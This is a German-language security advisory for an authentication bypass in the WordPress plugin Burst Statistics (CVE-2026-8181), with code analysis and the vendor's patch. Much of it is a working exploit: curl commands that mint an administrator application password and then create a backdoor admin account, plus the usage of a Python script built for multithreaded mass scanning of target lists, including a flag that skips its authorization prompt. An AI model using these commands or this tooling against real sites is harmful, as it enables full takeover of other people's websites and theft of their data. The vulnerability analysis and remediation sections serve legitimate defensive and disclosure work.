
Das Plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) für WordPress ist anfällig für eine Authentifizierungsumgehung.
Zusammenfassung der Schwachstelle
Das WordPress-Plugin Burst Statistics in den Versionen 3.4.0 bis 3.4.1.1 ist anfällig für eine unauthentifizierte Authentifizierungsumgehung, die zur vollständigen Übernahme des Administratorkontos führt. Dieser kritische Fehler erlaubt es einem nicht authentifizierten Angreifer, der einen beliebigen Administrator-Benutzernamen kennt, in einer einzigen HTTP-Anfrage ein gültiges WordPress-Anwendungspasswort für dieses Konto zu erzeugen und damit dauerhaften Admin-Zugriff auf die gesamte Website zu erlangen.
Die Schwachstelle stammt aus der Funktion is_mainwp_authenticated() in class-mainwp-proxy.php. Diese Funktion ruft wp_authenticate_application_password() auf und prüft nur, ob das Ergebnis ein WP_Error ist. Sie verifiziert nicht, ob das Ergebnis tatsächlich ein erfolgreiches WP_User-Objekt ist. Wenn der interne WordPress-Filter application_password_is_api_request den Wert false zurückgibt – was passiert, wenn der Aufruf außerhalb des normalen REST-API-Authentifizierungsablaufs erfolgt – gibt die WordPress-Funktion null statt eines WP_Error oder WP_User zurück. Da null kein WP_Error ist, besteht die Prüfung, und der vom Angreifer gewählte Admin-Benutzer wird über wp_set_current_user() als aktueller Benutzer gesetzt.
Sobald der aktuelle Benutzer auf einen Administrator umgestellt wurde, bestehen nachfolgende Berechtigungsprüfungen. Der Angreifer kann dann den REST-Endpunkt /burst/v1/mainwp-auth erreichen, der ein WordPress-Anwendungspasswort für das Admin-Konto erstellt und es in der Antwort zurückgibt. Dies verschafft dem Angreifer dauerhaften, vollständigen Admin-Zugriff.
Betroffenes Plugin
Was Angreifer tun können
Technische Analyse
Burst Statistics initialisiert während des WordPress-Hooks plugins_loaded mit Priorität 9 in class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() ist der Torwächter für die gesamte Admin-Funktionalität. Es prüft den X-BurstMainWP-Header und ruft die angreifbare Funktion auf:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() null zurückgibtDie WordPress-interne Funktion wp_authenticate_application_password() enthält einen Filter:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
Wird sie außerhalb des REST-API-Authentifizierungsablaufs aufgerufen, gibt sie null zurück. Der Burst-Statistics-Code prüfte nur is_wp_error($is_valid) – null ist kein WP_Error, also besteht die Prüfung fälschlicherweise.
X-BurstMainWP: 1 mit einer beliebigen Anfragehas_admin_access() löst is_mainwp_authenticated() auswp_authenticate_application_password() gibt null zurück (nicht im API-Kontext)is_wp_error(null) = false → Prüfung bestandenwp_set_current_user($admin_id) wird ausgeführt/burst/v1/mainwp-authhandle_auth_request() erzeugt ein WordPress-Anwendungspasswortbase64(username:app_password) zurückgegeben// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Angewandte Korrekturen:
application_password_is_api_request auf true erzwingen, damit die tatsächliche Passwortvalidierung stattfindetWP_User-Instanz ist (nicht null)hash_equals() verwenden, um die Übereinstimmung des Benutzernamens zu verifizierenZusätzlich wurde die check_auth_permission() für den REST-Endpunkt gehärtet, sodass current_user_can('manage_burst_statistics') und eine explizite Nonce-Verifizierung für cookie-authentifizierte Anfragen erforderlich sind.
Proof of Concept
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
Das Skript exploit_burst_statistics.py automatisiert die gesamte Angriffskette:
readme.txt, Plugin-Header oder Asset-Query-StringsX-BurstMainWP: 1 + gefälschtem Basic Auth zum Erzeugen eines TokensExploit-Funktionen
/wp-json/) als auch unschöne Permalinks (/?rest_route=)ThreadPoolExecutorVerwendung
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
Erstelle targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
Empfehlungen zur Behebung
Für Entwickler und Website-Betreiber:
X-BurstMainWP: 1 prüfenZeitplan
| Datum | Ereignis |
|---|---|
| 2026-05-08 | CVE reserviert |
| 2026-05-11 | Anbieter benachrichtigt |
| 2026-05-13 |
Forscher
Referenzen
Haftungsausschluss
Diese Informationen dienen ausschließlich Bildungszwecken und autorisierten Penetrationstests. Die unbefugte Ausnutzung von Computersystemen ist illegal und unethisch. Holen Sie stets eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein Ziel testen, das Ihnen nicht gehört.
| Feld | Wert |
|---|
| Plugin-Name | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Plugin-Slug | burst-statistics |
| Betroffene Versionen | 3.4.0 – 3.4.1.1 |
| Behobene Version | 3.4.2 |
| CVE-ID | CVE-2026-8181 |
| CVSS-Score | 9.8 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Schwachstellentyp | Authentifizierungsumgehung (Unzureichende Authentifizierung) |
| CWE | CWE-287 – Unzureichende Authentifizierung |
| Auswirkung | Vollständige Website-Übernahme – Übernahme des Administratorkontos |
| Fähigkeit | Auswirkung |
|---|
| Anwendungspasswort für jeden Admin erzeugen | Dauerhafter Admin-Zugriff |
| Neue Admin-Konten über die REST-API erstellen | Kontenvermehrung |
| Plugins / Themes installieren | Remote Code Execution |
| Beiträge, Seiten und Einstellungen bearbeiten | Website-Verunstaltung |
| Alle Websitedaten exportieren oder löschen | Datenvernichtung / Datenextfiltration |
| Zugriff auf WooCommerce-/Kundendaten | Datenpanne |
| Flag | Beschreibung |
|---|
-t, --target | Einzelne Ziel-URL |
-l, --list | Datei mit Zielliste (eine pro Zeile) |
-T, --threads | Threads für den Massenscan (Standard: 10) |
-o, --output | Ausgabedatei für Ergebnisse (Standard: result_burst_statistics.txt) |
-u, --username | Bekannter Admin-Benutzername (Enumeration überspringen) |
-v, --verbose | Ausführliche Debug-Ausgabe |
--timeout | Zeitlimit für Anfragen in Sekunden (Standard: 20) |
--no-confirm | Berechtigungsbestätigungsaufforderung überspringen |
| Öffentlich offengelegt |
| 2026-05-13 | Patch veröffentlicht (v3.4.2) |
| 2026-05-15 | Aktive Ausnutzung in freier Wildbahn gemeldet |